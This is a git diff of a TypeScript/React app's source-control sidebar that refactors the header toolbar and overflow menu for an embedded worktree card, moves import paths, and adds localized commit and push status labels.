-    status.mockResolvedValue({
-      entries: [],
-      head: 'host-B-clean',
-      conflictOperation: 'unknown',
-      upstreamStatus: { hasUpstream: true, ahead: 99, behind: 0 }
-    })
-    continued.mockResolvedValue(undefined)
-    await act(async () => useAppStore.setState({ activeWorktreeId: 'r::/repo' }))
-    await act(async () => {
-      container.querySelector<HTMLButtonElement>('button')!.click()
-      await refreshed.promise
-    })
-    expect(requestedPublishTarget).toEqual({ remoteName: 'publish-b', branchName: 'topic-b' })
-    expect(acceptedUpstream).toEqual({ hasUpstream: true, ahead: 2, behind: 0 })
-  } finally {
-    window.removeEventListener(GIT_GRAPH_REFRESH_EVENT, onGraphRefresh)
-    await act(async () => root.unmount())
-    container.remove()
-    useAppStore.setState(initial, true)
-  }
-})
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.tsx
index c6692b52cca..873c6095bbc 100644
--- a/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/listing/sequencer-recovery-controls.tsx
@@ -18,7 +18,10 @@ import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
 import { useSourceControlWorktreeContext } from './use-worktree-context'
 import type { GitCommitAction } from '../../../../../../shared/git/commands/git-commit-action'
 import { useAppStore } from '@/store/index'
-import { resolveWorktreeGitCopyNow, worktreeCopyPushTarget } from '@/lib/worktree-git-copy'
+import {
+  resolveWorktreeGitCopyNow,
+  worktreeCopyPushTarget
+} from '@/lib/workspace/ownership/worktree-git-copy'
 
 async function runSequencerRecovery(run: () => Promise<void>, refresh: () => void) {
   try {
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx
index c80dea85b36..6c77ceaf81a 100644
--- a/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/listing/uncommitted-sections.tsx
@@ -14,6 +14,7 @@ import {
 import { ActionButton } from './action-button'
 import { SectionHeader } from './section-header'
 import { SourceControlSectionFileList } from './section-file-list'
+import { useSourceControlScope } from '../panel/worktree-scope'
 import {
   getSourceControlSectionViewAction,
   type SourceControlDisplaySection,
@@ -89,6 +90,7 @@ export function SourceControlUncommittedSections(props: {
   requestDiscardEntry: (entry: GitStatusEntry) => void
   diffCommentCountByPath: Map<string, number>
 }): React.JSX.Element {
+  const embedded = useSourceControlScope() !== null
   const t = useTranslate()
   return (
     <>
@@ -176,35 +178,37 @@ export function SourceControlUncommittedSections(props: {
               }
             />
             {!isCollapsed && (
-              <SourceControlSectionFileList
-                treeRows={props.visibleTreeRowsBySection[id] ?? []}
-                listRows={props.visibleListRowsBySection[id] ?? []}
-                sourceControlViewMode={props.sourceControlViewMode}
-                fileListScrollElement={props.fileListScrollElement}
-                normalizedFilter={props.normalizedFilter}
-                isExecutingBulk={props.isExecutingBulk}
-                collapsedTreeDirs={props.collapsedTreeDirs}
-                toggleTreeDir={props.toggleTreeDir}
-                requestDiscardPaths={props.requestDiscardPaths}
-                handleStageAllPaths={props.handleStageAllPaths}
-                handleUnstagePaths={props.handleUnstagePaths}
-                expandedSubmoduleKeys={props.expandedSubmoduleKeys}
-                toggleSubmodule={props.toggleSubmodule}
-                currentWorktreeId={props.currentWorktreeId}
-                worktreePath={props.worktreePath}
-                selectedKeySet={props.selectedKeySet}
-                activeOpenRowKeys={props.activeOpenRowKeys}
-                handleSelect={props.handleSelect}
-                handleContextMenu={props.handleContextMenu}
-                revealInExplorer={props.revealInExplorer}
-                activeConnectionId={props.activeConnectionId}
-                handleOpenDiff={props.handleOpenDiff}
-                handleStage={props.handleStage}
-                handleResolveConflict={props.handleResolveConflict}
-                handleUnstage={props.handleUnstage}
-                requestDiscardEntry={props.requestDiscardEntry}
-                diffCommentCountByPath={props.diffCommentCountByPath}
-              />
+              <div className={embedded ? 'py-px' : undefined}>
+                <SourceControlSectionFileList
+                  treeRows={props.visibleTreeRowsBySection[id] ?? []}
+                  listRows={props.visibleListRowsBySection[id] ?? []}
+                  sourceControlViewMode={props.sourceControlViewMode}
+                  fileListScrollElement={props.fileListScrollElement}
+                  normalizedFilter={props.normalizedFilter}
+                  isExecutingBulk={props.isExecutingBulk}
+                  collapsedTreeDirs={props.collapsedTreeDirs}
+                  toggleTreeDir={props.toggleTreeDir}
+                  requestDiscardPaths={props.requestDiscardPaths}
+                  handleStageAllPaths={props.handleStageAllPaths}
+                  handleUnstagePaths={props.handleUnstagePaths}
+                  expandedSubmoduleKeys={props.expandedSubmoduleKeys}
+                  toggleSubmodule={props.toggleSubmodule}
+                  currentWorktreeId={props.currentWorktreeId}
+                  worktreePath={props.worktreePath}
+                  selectedKeySet={props.selectedKeySet}
+                  activeOpenRowKeys={props.activeOpenRowKeys}
+                  handleSelect={props.handleSelect}
+                  handleContextMenu={props.handleContextMenu}
+                  revealInExplorer={props.revealInExplorer}
+                  activeConnectionId={props.activeConnectionId}
+                  handleOpenDiff={props.handleOpenDiff}
+                  handleStage={props.handleStage}
+                  handleResolveConflict={props.handleResolveConflict}
+                  handleUnstage={props.handleUnstage}
+                  requestDiscardEntry={props.requestDiscardEntry}
+                  diffCommentCountByPath={props.diffCommentCountByPath}
+                />
+              </div>
             )}
           </div>
         )
diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/use-selection.ts b/src/renderer/src/components/right-sidebar/source-control/listing/use-selection.ts
index 9888f31b182..9cc0b17c0d0 100644
--- a/src/renderer/src/components/right-sidebar/source-control/listing/use-selection.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/listing/use-selection.ts
@@ -190,7 +190,8 @@ export function useSourceControlSelection({
         return
       }
 
-      const container = containerRef.current
+      const panel = containerRef.current
+      const container = panel?.closest('[data-source-control-worktree]') ?? panel
       const target = e.target
       if (!container || !(target instanceof Node) || container.contains(target)) {
         return
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/branch-context-row.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/branch-context-row.tsx
index af4712d35a9..940a009f98c 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/branch-context-row.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/branch-context-row.tsx
@@ -103,6 +103,7 @@ export function SourceControlBranchContextRow({
   headControl,
   manualReviewUrl,
   branchLineTotal,
+  reviewControl,
   onChangeBaseRef,
   onRetry
 }: {
@@ -112,6 +113,7 @@ export function SourceControlBranchContextRow({
   headControl?: React.ReactNode
   manualReviewUrl?: string | null
   branchLineTotal?: GitBranchLineTotal | null
+  reviewControl?: React.ReactNode
   onChangeBaseRef: () => void
   onRetry: () => void
 }): React.JSX.Element | null {
@@ -124,8 +126,11 @@ export function SourceControlBranchContextRow({
       return null
     }
     return (
-      <div className="min-w-0 text-[11px] text-muted-foreground">
-        {headControl ?? <HeadIdentity display={headDisplay} />}
+      <div className="flex min-w-0 items-center gap-1.5 text-[11px] text-muted-foreground">
+        <span className="min-w-0 flex-1">
+          {headControl ?? <HeadIdentity display={headDisplay} />}
+        </span>
+        {reviewControl}
       </div>
     )
   }
@@ -159,7 +164,12 @@ export function SourceControlBranchContextRow({
           onChangeBaseRef={onChangeBaseRef}
           changeBaseTitle={changeBaseTitle}
           leading={<Loader2 className="size-3 shrink-0 animate-spin" aria-hidden="true" />}
-          trailing={<ManualReviewLinkButton url={manualReviewUrl} />}
+          trailing={
+            <>
+              <ManualReviewLinkButton url={manualReviewUrl} />
+              {reviewControl}
+            </>
+          }
         />
         <span className="sr-only">
           {t('auto.components.right.sidebar.SourceControl.11b5dd8e41', 'Comparing against')}
@@ -189,6 +199,7 @@ export function SourceControlBranchContextRow({
                 label={t('auto.components.right.sidebar.SourceControl.286dbda4d6', 'Retry')}
                 onClick={onRetry}
               />
+              {reviewControl}
             </>
           }
         />
@@ -224,6 +235,7 @@ export function SourceControlBranchContextRow({
           <>
             {compareStatNodes}
             <ManualReviewLinkButton url={manualReviewUrl} />
+            {reviewControl}
           </>
         }
         headTrailing={<SourceControlBranchLineTotalChip branchLineTotal={branchLineTotal} />}
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/header-actions-slot.ts b/src/renderer/src/components/right-sidebar/source-control/panel/header-actions-slot.ts
new file mode 100644
index 00000000000..4e35abd420a
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/header-actions-slot.ts
@@ -0,0 +1,8 @@
+import { createContext, useContext } from 'react'
+
+// A folder card's header hosts its panel's filter and overflow buttons; null while the card is collapsed.
+export const SourceControlHeaderActionsSlot = createContext<HTMLElement | null>(null)
+
+export function useSourceControlHeaderActionsSlot(): HTMLElement | null {
+  return useContext(SourceControlHeaderActionsSlot)
+}
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx
index 87c4356d404..ca28dbfcba8 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/header-overflow-menu.tsx
@@ -1,5 +1,14 @@
 import React from 'react'
-import { List, ListTree, MessageSquare, MoreHorizontal, RefreshCw, Settings2 } from 'lucide-react'
+import {
+  List,
+  ListTree,
+  MessageSquare,
+  MoreHorizontal,
+  RefreshCw,
+  Settings2,
+  Unlink
+} from 'lucide-react'
+import type { Worktree } from '../../../../../../shared/worktree/types'
 import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome-types'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
@@ -11,17 +20,11 @@ import {
   DropdownMenuTrigger
 } from '@/components/ui/dropdown-menu'
 import { useTranslate } from '@/i18n/use-translate'
+import { useAppStore } from '@/store'
+import { unnestWorktrees } from '../../../sidebar/workspace-actions/parenting/worktree-unnest'
+import { useSourceControlScopeOwner } from './worktree-scope'
 
-export function SourceControlHeaderOverflowMenu({
-  sourceControlViewMode,
-  viewModeToggleDisabled,
-  onToggleViewMode,
-  onChangeBaseRef,
-  onRefreshBranchCompare,
-  branchCompareRefreshDisabled,
-  diffCommentCount,
-  onExpandNotes
-}: {
+type PanelActions = {
   sourceControlViewMode: SourceControlViewMode
   viewModeToggleDisabled: boolean
   onToggleViewMode: () => void
@@ -30,10 +33,20 @@ export function SourceControlHeaderOverflowMenu({
   branchCompareRefreshDisabled: boolean
   diffCommentCount: number
   onExpandNotes: () => void
+}
+
+export function SourceControlHeaderOverflowMenu({
+  panelActions,
+  worktree
+}: {
+  panelActions?: PanelActions
+  worktree?: Worktree
 }): React.JSX.Element {
   const t = useTranslate()
+  const scopeOwner = useSourceControlScopeOwner()
+  const ownerWorktree = worktree ?? scopeOwner?.worktree
   const viewModeLabel =
-    sourceControlViewMode === 'tree'
+    panelActions?.sourceControlViewMode === 'tree'
       ? t('auto.components.right.sidebar.SourceControl.a91f8e2b01', 'View as list')
       : t('auto.components.right.sidebar.SourceControl.b82e9f3c12', 'View as tree')
 
@@ -46,13 +59,13 @@ export function SourceControlHeaderOverflowMenu({
               type="button"
               variant="ghost"
               size="icon-xs"
-              className="size-7 text-muted-foreground hover:text-foreground"
+              className={ownerWorktree ? 'size-6' : 'size-7'}
               aria-label={t(
                 'auto.components.right.sidebar.SourceControl.f71c4a8d90',
                 'More source control actions'
               )}
             >
-              <MoreHorizontal className="size-3.5" />
+              <MoreHorizontal className="size-3.5 text-muted-foreground" />
             </Button>
           </DropdownMenuTrigger>
         </TooltipTrigger>
@@ -64,31 +77,58 @@ export function SourceControlHeaderOverflowMenu({
         </TooltipContent>
       </Tooltip>
       <DropdownMenuContent align="end" className="min-w-[180px]">
-        <DropdownMenuItem disabled={viewModeToggleDisabled} onSelect={onToggleViewMode}>
-          {sourceControlViewMode === 'tree' ? (
-            <List className="size-3.5" />
-          ) : (
-            <ListTree className="size-3.5" />
-          )}
-          {viewModeLabel}
-        </DropdownMenuItem>
-        <DropdownMenuItem onSelect={onChangeBaseRef}>
-          <Settings2 className="size-3.5" />
-          {t('auto.components.right.sidebar.SourceControl.476b77745b', 'Change Base Ref')}…
-        </DropdownMenuItem>
-        <DropdownMenuItem disabled={branchCompareRefreshDisabled} onSelect={onRefreshBranchCompare}>
-          <RefreshCw className="size-3.5" />
-          {t('auto.components.right.sidebar.SourceControl.ed34038d0d', 'Refresh branch compare')}
-        </DropdownMenuItem>
-        {diffCommentCount > 0 ? (
+        {panelActions ? (
           <>
-            <DropdownMenuSeparator />
-            <DropdownMenuItem onSelect={onExpandNotes}>
-              <MessageSquare className="size-3.5" />
-              {t('auto.components.right.sidebar.SourceControl.cc474e0b8c', 'Notes')}
-              <span className="ml-auto text-[11px] tabular-nums text-muted-foreground">
-                {diffCommentCount}
-              </span>
+            <DropdownMenuItem
+              disabled={panelActions.viewModeToggleDisabled}
+              onSelect={panelActions.onToggleViewMode}
+            >
+              {panelActions.sourceControlViewMode === 'tree' ? (
+                <List className="size-3.5" />
+              ) : (
+                <ListTree className="size-3.5" />
+              )}
+              {viewModeLabel}
+            </DropdownMenuItem>
+            <DropdownMenuItem onSelect={panelActions.onChangeBaseRef}>
+              <Settings2 className="size-3.5" />
+              {t('auto.components.right.sidebar.SourceControl.476b77745b', 'Change Base Ref')}…
+            </DropdownMenuItem>
+            <DropdownMenuItem
+              disabled={panelActions.branchCompareRefreshDisabled}
+              onSelect={panelActions.onRefreshBranchCompare}
+            >
+              <RefreshCw className="size-3.5" />
+              {t(
+                'auto.components.right.sidebar.SourceControl.ed34038d0d',
+                'Refresh branch compare'
+              )}
+            </DropdownMenuItem>
+            {panelActions.diffCommentCount > 0 ? (
+              <>
+                <DropdownMenuSeparator />
+                <DropdownMenuItem onSelect={panelActions.onExpandNotes}>
+                  <MessageSquare className="size-3.5" />
+                  {t('auto.components.right.sidebar.SourceControl.cc474e0b8c', 'Notes')}
+                  <span className="ml-auto text-[11px] tabular-nums text-muted-foreground">
+                    {panelActions.diffCommentCount}
+                  </span>
+                </DropdownMenuItem>
+              </>
+            ) : null}
+          </>
+        ) : null}
+        {ownerWorktree ? (
+          <>
+            {panelActions ? <DropdownMenuSeparator /> : null}
+            {/* Same unlink as the sidebar's Parent & Children menu; the worktree itself stays. */}
+            <DropdownMenuItem
+              onSelect={() =>
+                void unnestWorktrees([ownerWorktree], useAppStore.getState().updateWorktreeLineage)
+              }
+            >
+              <Unlink className="size-3.5" />
+              {t('auto.components.sidebar.WorktreeContextMenu.579b1a8e61', 'Remove from Parent')}
             </DropdownMenuItem>
           </>
         ) : null}
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx
index 6de2f043756..e17f587d6d8 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/header-toolbar.tsx
@@ -1,5 +1,6 @@
 import { ImeInput } from '@/lib/text-input/ime/ime-text-field'
 import React, { useCallback, useEffect, useRef } from 'react'
+import { createPortal } from 'react-dom'
 import { Search, X } from 'lucide-react'
 import type { GitBranchCompareSummary } from '../../../../../../shared/git/diff/git-diff-compare-types'
 import type { GitBranchLineTotal } from '../../../../../../shared/git/status/git-status-types'
@@ -18,6 +19,8 @@ import {
 import { SourceControlBranchContextRow } from './branch-context-row'
 import { shouldShowSourceControlBranchContextChrome } from './branch-context-stats'
 import { SourceControlHeaderOverflowMenu } from './header-overflow-menu'
+import { useSourceControlHeaderActionsSlot } from './header-actions-slot'
+import { useSourceControlScope } from './worktree-scope'
 
 type SourceControlHeaderToolbarProps = {
   filterQuery: string
@@ -61,7 +64,7 @@ function renderOverflowMenu(
     | 'onExpandNotes'
   >
 ): React.JSX.Element {
-  return <SourceControlHeaderOverflowMenu {...props} />
+  return <SourceControlHeaderOverflowMenu panelActions={props} />
 }
 
 export function SourceControlHeaderToolbar({
@@ -93,6 +96,8 @@ export function SourceControlHeaderToolbar({
   branchLineTotal
 }: SourceControlHeaderToolbarProps): React.JSX.Element {
   const t = useTranslate()
+  const embedded = useSourceControlScope() !== null
+  const actionsSlot = useSourceControlHeaderActionsSlot()
   const filterInputRef = useRef<HTMLInputElement>(null)
   const normalizedFilter = filterQuery.trim()
   const showCollapsedToolbar = !filterExpanded
@@ -134,6 +139,139 @@ export function SourceControlHeaderToolbar({
       })
     : t('auto.components.right.sidebar.SourceControl.b3c8f1a902', 'Filter files by name')
 
+  const reviewControl = hostedReview ? (
+    <HostedReviewToolbarLink
+      review={hostedReview}
+      compact={embedded}
+      onOpenHostedReviewInChecks={onOpenHostedReviewInChecks}
+    />
+  ) : suppressedGitHubPRNumber !== null ? (
+    <SuppressedGitHubPRToolbar
+      number={suppressedGitHubPRNumber}
+      onRelink={onRelinkSuppressedGitHubPR}
+    />
+  ) : visibleCreatePrHeaderAction ? (
+    <CreatePrHeaderButton
+      action={visibleCreatePrHeaderAction}
+      isCreatePrIntentInFlight={isCreatePrIntentInFlight}
+      isCreatingPr={isCreatingPr}
+      onClick={onCreatePrHeaderClick}
+    />
+  ) : null
+
+  const filterToggle = (
+    <button
+      type="button"
+      data-testid="source-control-filter-toggle"
+      className={cn(
+        'relative inline-flex shrink-0 items-center justify-center rounded-sm text-muted-foreground transition-colors hover:bg-accent hover:text-foreground',
+        embedded ? 'size-6' : 'size-7',
+        (normalizedFilter || (embedded && filterExpanded)) && 'bg-muted text-foreground'
+      )}
+      onClick={embedded && filterExpanded ? collapseFilter : expandFilter}
+      aria-label={filterToggleTitle}
+      title={filterToggleTitle}
+      aria-expanded={embedded ? filterExpanded : false}
+    >
+      <Search className="size-3.5" />
+      {normalizedFilter ? (
+        <span className="absolute right-1 top-1 size-1.5 rounded-full bg-foreground" />
+      ) : null}
+    </button>
+  )
+
+  const filterRow = (
+    <>
+      {/* Give expanded search the row so PR links and overflow controls do not squeeze typing. */}
+      <div className="flex min-w-0 w-full flex-1 items-center gap-1.5">
+        <Search className="size-3.5 shrink-0 text-muted-foreground" />
+        <ImeInput
+          ref={filterInputRef}
+          data-testid="source-control-filter-input"
+          type="text"
+          value={filterQuery}
+          onChange={(event) => onFilterQueryChange(event.target.value)}
+          onKeyDown={(event) => {
+            if (event.key === 'Escape') {
+              event.preventDefault()
+              collapseFilter()
+            }
+          }}
+          placeholder={t('auto.components.right.sidebar.SourceControl.c35baf2f1e', 'Filter files…')}
+          className="min-w-0 w-full flex-1 bg-transparent text-xs text-foreground outline-none placeholder:text-muted-foreground"
+          aria-label={t('auto.components.right.sidebar.SourceControl.c35baf2f1e', 'Filter files…')}
+        />
+      </div>
+      <Button
+        type="button"
+        variant="ghost"
+        size="icon-xs"
+        className="size-7 shrink-0 text-muted-foreground hover:text-foreground"
+        aria-label={t(
+          'auto.components.right.sidebar.SourceControl.d4f8c2a901',
+          'Clear and close filter'
+        )}
+        title={t(
+          'auto.components.right.sidebar.SourceControl.d4f8c2a901',
+          'Clear and close filter'
+        )}
+        onClick={clearAndCollapseFilter}
+      >
+        <X className="size-3.5" />
+      </Button>
+    </>
+  )
+
+  const showBranchContext = shouldShowSourceControlBranchContextChrome(
+    branchSummary,
+    compareBaseRef,
+    headDisplay
+  )
+  const branchContextRow = (reviewTrailing?: React.ReactNode) => (
+    <SourceControlBranchContextRow
+      summary={branchSummary}
+      compareBaseRef={compareBaseRef}
+      headDisplay={headDisplay}
+      headControl={headControl}
+      manualReviewUrl={manualReviewUrl}
+      branchLineTotal={branchLineTotal}
+      reviewControl={reviewTrailing}
+      onChangeBaseRef={onChangeBaseRef}
+      onRetry={onRefreshBranchCompare}
+    />
+  )
+
+  if (embedded) {
+    // The card header owns filter and overflow; the PR control joins the compare row's base line.
+    const reviewRowShown = reviewControl !== null && !showBranchContext
+    return (
+      <>
+        {actionsSlot
+          ? createPortal(
+              <>
+                {filterToggle}
+                {renderOverflowMenu(overflowProps)}
+              </>,
+              actionsSlot
+            )
+          : null}
+        {filterExpanded || showBranchContext || reviewRowShown ? (
+          <div className="flex flex-col gap-1 border-b border-border px-3 py-1.5">
+            {filterExpanded ? (
+              <div className="mb-1.5 flex min-w-0 items-center gap-1.5 border-b border-border pb-1.5">
+                {filterRow}
+              </div>
+            ) : null}
+            {showBranchContext ? branchContextRow(reviewControl) : null}
+            {reviewRowShown ? (
+              <div className="flex min-w-0 items-center">{reviewControl}</div>
+            ) : null}
+          </div>
+        ) : null}
+      </>
+    )
+  }
+
   return (
     <div className="border-b border-border px-3 pt-1.5 pb-1">
       <div
@@ -142,112 +280,20 @@ export function SourceControlHeaderToolbar({
       >
         {showCollapsedToolbar ? (
           <>
-            {hostedReview ? (
-              <HostedReviewToolbarLink
-                review={hostedReview}
-                onOpenHostedReviewInChecks={onOpenHostedReviewInChecks}
-              />
-            ) : suppressedGitHubPRNumber !== null ? (
-              <SuppressedGitHubPRToolbar
-                number={suppressedGitHubPRNumber}
-                onRelink={onRelinkSuppressedGitHubPR}
-              />
-            ) : visibleCreatePrHeaderAction ? (
-              <CreatePrHeaderButton
-                action={visibleCreatePrHeaderAction}
-                isCreatePrIntentInFlight={isCreatePrIntentInFlight}
-                isCreatingPr={isCreatingPr}
-                onClick={onCreatePrHeaderClick}
-              />
-            ) : (
-              <span className="min-w-0 flex-1" aria-hidden="true" />
-            )}
+            {reviewControl ?? <span className="min-w-0 flex-1" aria-hidden="true" />}
             {(visibleCreatePrHeaderAction || suppressedGitHubPRNumber !== null) && !hostedReview ? (
               // Pin filter/overflow right without stretching Create PR.
               <span className="min-w-0 flex-1" aria-hidden="true" />
             ) : null}
-            <button
-              type="button"
-              data-testid="source-control-filter-toggle"
-              className={cn(
-                'relative inline-flex size-7 shrink-0 items-center justify-center rounded-sm text-muted-foreground transition-colors hover:bg-accent hover:text-foreground',
-                normalizedFilter && 'bg-muted text-foreground'
-              )}
-              onClick={expandFilter}
-              aria-label={filterToggleTitle}
-              title={filterToggleTitle}
-              aria-expanded={false}
-            >
-              <Search className="size-3.5" />
-              {normalizedFilter ? (
-                <span className="absolute right-1 top-1 size-1.5 rounded-full bg-foreground" />
-              ) : null}
-            </button>
+            {filterToggle}
             {renderOverflowMenu(overflowProps)}
           </>
         ) : (
-          <>
-            {/* Give expanded search the row so PR links and overflow controls do not squeeze typing. */}
-            <div className="flex min-w-0 w-full flex-1 items-center gap-1.5">
-              <Search className="size-3.5 shrink-0 text-muted-foreground" />
-              <ImeInput
-                ref={filterInputRef}
-                data-testid="source-control-filter-input"
-                type="text"
-                value={filterQuery}
-                onChange={(event) => onFilterQueryChange(event.target.value)}
-                onKeyDown={(event) => {
-                  if (event.key === 'Escape') {
-                    event.preventDefault()
-                    collapseFilter()
-                  }
-                }}
-                placeholder={t(
-                  'auto.components.right.sidebar.SourceControl.c35baf2f1e',
-                  'Filter files…'
-                )}
-                className="min-w-0 w-full flex-1 bg-transparent text-xs text-foreground outline-none placeholder:text-muted-foreground"
-                aria-label={t(
-                  'auto.components.right.sidebar.SourceControl.c35baf2f1e',
-                  'Filter files…'
-                )}
-              />
-            </div>
-            <Button
-              type="button"
-              variant="ghost"
-              size="icon-xs"
-              className="size-7 shrink-0 text-muted-foreground hover:text-foreground"
-              aria-label={t(
-                'auto.components.right.sidebar.SourceControl.d4f8c2a901',
-                'Clear and close filter'
-              )}
-              title={t(
-                'auto.components.right.sidebar.SourceControl.d4f8c2a901',
-                'Clear and close filter'
-              )}
-              onClick={clearAndCollapseFilter}
-            >
-              <X className="size-3.5" />
-            </Button>
-          </>
+          filterRow
         )}
       </div>
 
-      {shouldShowSourceControlBranchContextChrome(branchSummary, compareBaseRef, headDisplay) ? (
-        <div className="mt-1">
-          <SourceControlBranchContextRow
-            summary={branchSummary}
-            compareBaseRef={compareBaseRef}
-            headDisplay={headDisplay}
-            headControl={headControl}
-            manualReviewUrl={manualReviewUrl}
-            branchLineTotal={branchLineTotal}
-            onChangeBaseRef={onChangeBaseRef}
-            onRetry={onRefreshBranchCompare}
-          />
-        </div>
-      ) : null}
+      {showBranchContext ? <div className="mt-1">{branchContextRow()}</div> : null}
     </div>
   )
 }
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-items.ts b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-items.ts
index 00e369e0a99..096ce79280f 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-items.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-items.ts
@@ -39,6 +39,26 @@ function localizedCommitDisabledReason(reason: CommitDisabledReason): string {
   }
 }
 
+function localizedCommitDisabledStatus(reason: CommitDisabledReason): string {
+  switch (reason) {
+    case 'Resolve conflicts before committing':
+      return translate(
+        'auto.components.right.sidebar.source.control.dropdown.items.statusConflicts',
+        'Conflicts'
+      )
+    case 'Stage at least one file to commit':
+      return translate(
+        'auto.components.right.sidebar.source.control.dropdown.items.statusNothingStaged',
+        'Nothing staged'
+      )
+    case COMMIT_MESSAGE_REQUIRED_REASON:
+      return translate(
+        'auto.components.right.sidebar.source.control.dropdown.items.statusNeedsMessage',
+        'Needs message'
+      )
+  }
+}
+
 function localizedCommitCopy(t: Translate = translate): CommitDropdownCopy {
   return {
     commit: t('auto.components.right.sidebar.source.control.dropdown.items.2b8e6595fd', 'Commit'),
@@ -110,7 +130,16 @@ function localizedCommitCopy(t: Translate = translate): CommitDropdownCopy {
       'auto.components.right.sidebar.source.control.dropdown.items.titleCommitThenPullPush',
       'Commit, then pull and push'
     ),
-    commitDisabledReason: localizedCommitDisabledReason
+    commitDisabledReason: localizedCommitDisabledReason,
+    commitDisabledStatus: localizedCommitDisabledStatus,
+    statusNotPublished: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusNotPublished',
+      'Not published'
+    ),
+    statusNoBranch: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusNoBranch',
+      'No branch'
+    )
   }
 }
 
@@ -183,6 +212,8 @@ export function resolveDropdownItems(
             'auto.components.right.sidebar.source.control.dropdown.items.7aad2c0240',
             'Hosted review operation in progress…'
           ),
+          status: undefined,
+          statusTone: undefined,
           disabled: true
         }
   )
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-remote-localized-copy.ts b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-remote-localized-copy.ts
index 9228b13d6b7..2046a8a9eb2 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-remote-localized-copy.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-dropdown-remote-localized-copy.ts
@@ -203,6 +203,40 @@ export function localizedRemoteCopy(t: Translate = translate): RemoteDropdownCop
     syncCounts: localizedSyncCounts,
     forcePushWithLease: localizedForcePushWithLease,
     manualForcePush: localizedManualForcePush,
-    unpublishedForcePush: localizedUnpublishedForcePush
+    unpublishedForcePush: localizedUnpublishedForcePush,
+    statusUpToDate: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusUpToDate',
+      'Up to date'
+    ),
+    statusSetsUpstream: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusSetsUpstream',
+      'Sets upstream'
+    ),
+    statusNotPublished: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusNotPublished',
+      'Not published'
+    ),
+    statusNoBranch: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusNoBranch',
+      'No branch'
+    ),
+    statusMayFail: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusMayFail',
+      'May fail'
+    ),
+    statusPublished: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusPublished',
+      'Published'
+    ),
+    statusStashFirst: t(
+      'auto.components.right.sidebar.source.control.dropdown.items.statusStashFirst',
+      'Stash first'
+    ),
+    statusReplaces: (behind) =>
+      t(
+        'auto.components.right.sidebar.source.control.dropdown.items.statusReplaces',
+        'Replaces ↓{{behind}}',
+        { behind }
+      )
   }
 }
diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/use-worktree-operation-state.ts b/src/renderer/src/components/right-sidebar/source-control/panel/use-worktree-operation-state.ts
index 414f00400d3..a27d8d05a98 100644
--- a/src/renderer/src/components/right-sidebar/source-control/panel/use-worktree-operation-state.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/panel/use-worktree-operation-state.ts
@@ -5,7 +5,7 @@ import {
 } from './worktree-scope'
 import { useCallback, useEffect } from 'react'
 import { useStore } from 'zustand'
-import { worktreeGitCopyHostId } from '@/lib/worktree-git-copy'
+import { worktreeGitCopyHostId } from '@/lib/workspace/ownership/worktree-git-copy'
 import type { GitConflictOperation } from '../../../../../../shared/git/status/git-status-types'
 import { remoteActionErrorSettledByConflictOperation } from '../sync/remote-refresh'
 import {
diff --git a/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts b/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
index d66bcc271e2..f29b76a4f1a 100644
--- a/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
+++ b/src/renderer/src/components/right-sidebar/source-control/review/create-pr-intent-flow.ts
@@ -5,7 +5,7 @@ import type { SourceControlCreatePrIntentTarget } from './use-create-pr-intent-t
 import type { SourceControlCreateReviewComposer } from './use-create-review-composer'
 import type { SourceControlHostedReviewCreated } from './use-hosted-review-created'
 import type { SourceControlHostedReviewState } from './use-hosted-review-state'
-import type { WorktreeGitCopy } from '@/lib/worktree-git-copy'
+import type { WorktreeGitCopy } from '@/lib/workspace/ownership/worktree-git-copy'
 import type {
